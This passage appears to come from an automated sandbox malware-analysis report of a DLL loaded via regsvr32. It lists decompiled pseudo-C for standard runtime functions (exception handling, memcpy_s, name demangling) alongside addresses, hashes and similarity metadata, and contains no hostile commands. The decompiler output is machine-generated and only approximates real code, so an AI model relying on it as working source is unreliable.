				if ( *__rcx != r8d) goto 0x8001a244;
				if ( *((intOrPtr*)(__rcx + 0x18)) != 0xf) goto 0x8001a249;
				if ( *((long long*)(__rcx + 0x60)) == 0x19930520) goto 0x8001a252;
				if ( *__rcx == r9d) goto 0x8001a252;
				if (( *_t170 & 0x00000020) != 0) goto 0x8001a444;
				if (( *(__rcx + 4) & 0x00000066) == 0) goto 0x8001a376;
				if (_t170[8] == 0) goto 0x8001a444;
				if ( *(_t170[8] +  *((intOrPtr*)(__r9 + 8)) -  *((char*)(__r8 + 0x1800c20a0)) - 4) >>  *(__r8 + 0x1800c20b0) == 0) goto 0x8001a444;
				if ( *((intOrPtr*)(_t178 + 0xc8)) != 0) goto 0x8001a444;
				if (( *(__rcx + 4) & 0x00000020) == 0) goto 0x8001a363;
				if ( *__rcx != r9d) goto 0x8001a31a;
				_t144 = _t170;
				_t78 = E0000000118001861C(__edx, __rcx, _t144, __r9, _t170, __rsi,  *((intOrPtr*)(__r9 + 0x20)), _t194, _t196, _t193);
				r9d = _t78;
				if (_t78 - 0xffffffff < 0) goto 0x8001a466;
				if (_t170[8] == 0) goto 0x8001a2fe;
				_t104 =  *(_t170[8] +  *((intOrPtr*)(_t175 + 8)) - _t144[0x1800c20a0] - 4) >> _t144[0x1800c20b0];
				if (r9d - _t104 >= 0) goto 0x8001a466;
				_t145 = _t194;
				E0000000118001B0FC(_t144[0x1800c20b0], _t145, _t175, _t170, _t187);
				goto 0x8001a444;
				if ( *__rcx != r8d) goto 0x8001a363;
				r9d =  *((intOrPtr*)(__rcx + 0x38));
				if (r9d - 0xffffffff < 0) goto 0x8001a466;
				if (r9d -  *(_t170[8] +  *((intOrPtr*)(_t175 + 8)) -  *((char*)(_t145 + 0x1800c20a0)) - 4) >>  *(_t145 + 0x1800c20b0) >= 0) goto 0x8001a466;
				goto 0x8001a30a;
				E00000001180016DD0( *((char*)(_t145 + 0x1800c20a0)), _t194, _t170);
				goto 0x8001a444;
				E0000000118001A514(_t178 + 0x50, _t170,  *((intOrPtr*)(_t175 + 8)));
				if ( *((intOrPtr*)(_t178 + 0x50)) != _t104) goto 0x8001a396;
				if (( *_t170 & 0x00000040) == 0) goto 0x8001a444;
				if ( *_t140 != 0xe06d7363) goto 0x8001a40b;
				if ( *((intOrPtr*)(_t140 + 0x18)) - 3 < 0) goto 0x8001a40b;
				if ( *((intOrPtr*)(_t140 + 0x20)) - 0x19930522 <= 0) goto 0x8001a40b;
				_t135 =  *((intOrPtr*)(_t140 + 0x30));
				if ( *((intOrPtr*)(_t135 + 8)) == _t104) goto 0x8001a40b;
				E00000001180017688(_t135);
				if (_t135 +  *((intOrPtr*)( *((intOrPtr*)(_t140 + 0x30)) + 8)) == 0) goto 0x8001a40b;
				 *(_t178 + 0x38) =  *(_t178 + 0xd8) & 0x000000ff;
				 *((long long*)(_t178 + 0x30)) =  *((intOrPtr*)(_t178 + 0xd0));
				 *((intOrPtr*)(_t178 + 0x28)) =  *((intOrPtr*)(_t178 + 0xc8));
				 *(_t178 + 0x20) = _t170;
				 *0x8007d5c0(_t169);
				goto 0x8001a449;
				 *(_t178 + 0x38) =  *((intOrPtr*)(_t178 + 0xd0));
				 *((intOrPtr*)(_t178 + 0x30)) =  *((intOrPtr*)(_t178 + 0xc8));
				 *((char*)(_t178 + 0x28)) =  *(_t178 + 0xd8);
				 *(_t178 + 0x20) = _t170;
				E00000001180019318( *((intOrPtr*)(_t178 + 0xc8)), _t140, _t194, 0x180000000, _t175);
				return 1;
			}






















                                                                                                        0x18001a1d8
                                                                                                        0x18001a1d8
                                                                                                        0x18001a1d8
                                                                                                        0x18001a1dd
                                                                                                        0x18001a1e2
                                                                                                        0x18001a1ec
                                                                                                        0x18001a1f3
                                                                                                        0x18001a1f6
                                                                                                        0x18001a1ff
                                                                                                        0x18001a202
                                                                                                        0x18001a207
                                                                                                        0x18001a20c
                                                                                                        0x18001a216
                                                                                                        0x18001a21c
                                                                                                        0x18001a225
                                                                                                        0x18001a22d
                                                                                                        0x18001a232
                                                                                                        0x18001a238
                                                                                                        0x18001a242
                                                                                                        0x18001a247
                                                                                                        0x18001a24c
                                                                                                        0x18001a256
                                                                                                        0x18001a25f
                                                                                                        0x18001a295
                                                                                                        0x18001a2a2
                                                                                                        0x18001a2ac
                                                                                                        0x18001a2b5
                                                                                                        0x18001a2be
                                                                                                        0x18001a2c1
                                                                                                        0x18001a2c6
                                                                                                        0x18001a2cc
                                                                                                        0x18001a2d5
                                                                                                        0x18001a2fc
                                                                                                        0x18001a301
                                                                                                        0x18001a307
                                                                                                        0x18001a310
                                                                                                        0x18001a315
                                                                                                        0x18001a31d
                                                                                                        0x18001a31f
                                                                                                        0x18001a327
                                                                                                        0x18001a357
                                                                                                        0x18001a361
                                                                                                        0x18001a36c
                                                                                                        0x18001a371
                                                                                                        0x18001a382
                                                                                                        0x18001a38b
                                                                                                        0x18001a390
                                                                                                        0x18001a39c
                                                                                                        0x18001a3a2
                                                                                                        0x18001a3ab
                                                                                                        0x18001a3ad
                                                                                                        0x18001a3b4
                                                                                                        0x18001a3b6
                                                                                                        0x18001a3c9
                                                                                                        0x18001a3d6
                                                                                                        0x18001a3e8
                                                                                                        0x18001a3f7
                                                                                                        0x18001a3fe
                                                                                                        0x18001a403
                                                                                                        0x18001a409
                                                                                                        0x18001a416
                                                                                                        0x18001a428
                                                                                                        0x18001a436
                                                                                                        0x18001a43a
                                                                                                        0x18001a43f
                                                                                                        0x18001a465

                                                                                                        APIs
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: __except_validate_context_record
                                                                                                        • String ID: csm$csm
                                                                                                        • API String ID: 1467352782-3733052814
                                                                                                        • Opcode ID: 0a172c6043c62d92cda01d94e18af25328db85a6d6acba9edd520fc996bb4424
                                                                                                        • Instruction ID: 91f99a46d06d3ce6597addb8bf2ac927831ea2608279179e21889e027c041b31
                                                                                                        • Opcode Fuzzy Hash: 0a172c6043c62d92cda01d94e18af25328db85a6d6acba9edd520fc996bb4424
                                                                                                        • Instruction Fuzzy Hash: 1871B372608A8487EBA68F25D0947ED7BA1F34AFC4F14C116FE4947A8ACF38C659C701
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 000000018002D2D0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 64%
                                                                                                        			E0000000118002D2D0(signed int __edx, void* __eflags, intOrPtr* __rcx, void* __rdx, void* __r10) {
				char _v500;
				intOrPtr _v504;
				void* __rsi;
				void* _t23;
				void* _t24;
				void* _t28;
				void* _t33;

				r10d = __edx;
				r9d = 0x20;
				r10d = r10d >> 5;
				r14d = r9d;
				r14d = r14d - (__edx & 0x0000001f);
				r12d = 0;
				r15d = 0;
				asm("inc ecx");
				r15d =  !r15d;
				if (__eflags == 0) goto 0x8002d323;
				goto 0x8002d326;
				if (__rdx + __r10 - 0x73 <= 0) goto 0x8002d35f;
				 *__rcx = r12d;
				_v504 = r12d;
				r9d = 0;
				E0000000118002D894(_t23, _t24, __rcx + 4, __rdx, _t28,  &_v500, _t33);
				return 0;
			}










                                                                                                        0x18002d2e8
                                                                                                        0x18002d2eb
                                                                                                        0x18002d2f1
                                                                                                        0x18002d2f5
                                                                                                        0x18002d300
                                                                                                        0x18002d306
                                                                                                        0x18002d311
                                                                                                        0x18002d314
                                                                                                        0x18002d31a
                                                                                                        0x18002d31d
                                                                                                        0x18002d321
                                                                                                        0x18002d32d
                                                                                                        0x18002d32f
                                                                                                        0x18002d33b
                                                                                                        0x18002d340
                                                                                                        0x18002d348
                                                                                                        0x18002d35e

                                                                                                        APIs
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: memcpy_s
                                                                                                        • String ID: s
                                                                                                        • API String ID: 1502251526-453955339
                                                                                                        • Opcode ID: 92067fb7eeca3fd9b555b17454589ead6eca9b4639c0cc9805ab0425aecc4f8a
                                                                                                        • Instruction ID: 7bbcbe5e67466c2ca1eadcf0632250bc63b9310f005868f1b0760ec29a4ac8ed
                                                                                                        • Opcode Fuzzy Hash: 92067fb7eeca3fd9b555b17454589ead6eca9b4639c0cc9805ab0425aecc4f8a
                                                                                                        • Instruction Fuzzy Hash: 1841003221424887E3A7DF14E448BED77A1F398788F519112EF0A57B84CA78DF4ACB00
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 000000018001F600 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 68COMMONLIBRARYCODE
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 74%
                                                                                                        			E0000000118001F600(void* __edx, void* __edi, void* __eflags, void* __rax, long long __rbx, void* __rcx, void* __rdx, void* __rdi, void* __rsi, void* __r8, long long _a8) {
				char _v24;
				intOrPtr _v32;
				char _v40;
				intOrPtr _v48;
				char _v56;
				intOrPtr _v72;
				void* _t33;
				char* _t42;
				long long _t45;
				intOrPtr* _t46;
				void* _t50;
				void* _t54;
				void* _t72;
				void* _t75;
				void* _t76;

				_t72 = __r8;
				_t67 = __rsi;
				_t66 = __rdi;
				_t33 = __edx;
				_a8 = __rbx;
				_t50 = __rcx;
				E0000000118001C338(__rax, __rcx,  &_v56, __rdx, __rsi);
				_t42 =  *0x800d9928; // 0x0
				if ( *_t42 == 0) goto 0x8001f6e5;
				if ( *_t42 == 0x3f) goto 0x8001f6aa;
				if ( *_t42 == 0x58) goto 0x8001f645;
				_t54 = _t50;
				E00000001180021658(_t33, __edi, _t42, _t50, _t54,  &_v56, __rdi, _t67, _t72, _t75, _t76);
				goto 0x8001f703;
				 *0x800d9928 = _t42 + 1;
				if (_v56 != _t54) goto 0x8001f681;
				_v32 = 4;
				_v40 = "void";
				asm("movaps xmm0, [ebp-0x20]");
				asm("movdqa [ebp-0x20], xmm0");
				E0000000118001C2DC("void", _t50,  &_v40);
				goto 0x8001f703;
				_v32 = 5;
				_t45 = "void ";
				_v40 = _t45;
				asm("movaps xmm0, [ebp-0x20]");
				asm("movdqa [ebp-0x20], xmm0");
				E0000000118001C2DC(_t45,  &_v24,  &_v40);
				goto 0x8001f6f7;
				_t46 = _t45 + 1;
				_v40 = _t45;
				_v32 = 0;
				_v72 = 0;
				 *0x800d9928 = _t46;
				r8d = 0;
				E0000000118001ED2C(__edi, _t50,  &_v24,  &_v56, _t66, _t67,  &_v40);
				_v56 =  *_t46;
				_v48 =  *((intOrPtr*)(_t46 + 8));
				goto 0x8001f634;
				_v32 = 0;
				_v40 = 0x800c36a0;
				return E0000000118001C858( &_v40, _t50,  &_v56);
			}


















                                                                                                        0x18001f600
                                                                                                        0x18001f600
                                                                                                        0x18001f600
                                                                                                        0x18001f600
                                                                                                        0x18001f600
                                                                                                        0x18001f60d
                                                                                                        0x18001f614
                                                                                                        0x18001f619
                                                                                                        0x18001f624
                                                                                                        0x18001f62d
                                                                                                        0x18001f632
                                                                                                        0x18001f638
                                                                                                        0x18001f63b
                                                                                                        0x18001f640
                                                                                                        0x18001f64c
                                                                                                        0x18001f657
                                                                                                        0x18001f659
                                                                                                        0x18001f667
                                                                                                        0x18001f66e
                                                                                                        0x18001f672
                                                                                                        0x18001f677
                                                                                                        0x18001f67c
                                                                                                        0x18001f681
                                                                                                        0x18001f688
                                                                                                        0x18001f68f
                                                                                                        0x18001f697
                                                                                                        0x18001f69b
                                                                                                        0x18001f6a0
                                                                                                        0x18001f6a8
                                                                                                        0x18001f6aa
                                                                                                        0x18001f6ad
                                                                                                        0x18001f6b1
                                                                                                        0x18001f6b8
                                                                                                        0x18001f6c4
                                                                                                        0x18001f6cb
                                                                                                        0x18001f6ce
                                                                                                        0x18001f6d6
                                                                                                        0x18001f6dd
                                                                                                        0x18001f6e0
                                                                                                        0x18001f6ec
                                                                                                        0x18001f6ef
                                                                                                        0x18001f710

                                                                                                        APIs
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: Name::operator+
                                                                                                        • String ID: void$void
                                                                                                        • API String ID: 2943138195-3746155364
                                                                                                        • Opcode ID: eed4eb66d88d56a694bd4819c0f037ccf2778c1986caf2a758fda3f87b95729d
                                                                                                        • Instruction ID: 7374a5bb837c92fdb45895f0e91d72c4f8eb01e0a532e2553c0afd0090aee118
                                                                                                        • Opcode Fuzzy Hash: eed4eb66d88d56a694bd4819c0f037ccf2778c1986caf2a758fda3f87b95729d
                                                                                                        • Instruction Fuzzy Hash: 94311A72A15B589CFB52CFA4E8413EC37B0B75C788F948126EE4A63B59DF388248C754
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 000000018001676C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                        • RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,00000001800147B6), ref: 00000001800167B0
                                                                                                        • RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,00000001800147B6), ref: 00000001800167F6
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: ExceptionFileHeaderRaise
                                                                                                        • String ID: csm
                                                                                                        • API String ID: 2573137834-1018135373
                                                                                                        • Opcode ID: e82b12966fba48cc544fc54fb364a8f4296d130eba2271bf436485bd7249bb6e
                                                                                                        • Instruction ID: 70bacb83e460ef80868694b7f84bbd1a005da59ade24a7659374c933602d3139
                                                                                                        • Opcode Fuzzy Hash: e82b12966fba48cc544fc54fb364a8f4296d130eba2271bf436485bd7249bb6e
                                                                                                        • Instruction Fuzzy Hash: 77111F36618B4882EB528F25E84039977E5F788BD8F588225EF8D077A4DF3DC655C700
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%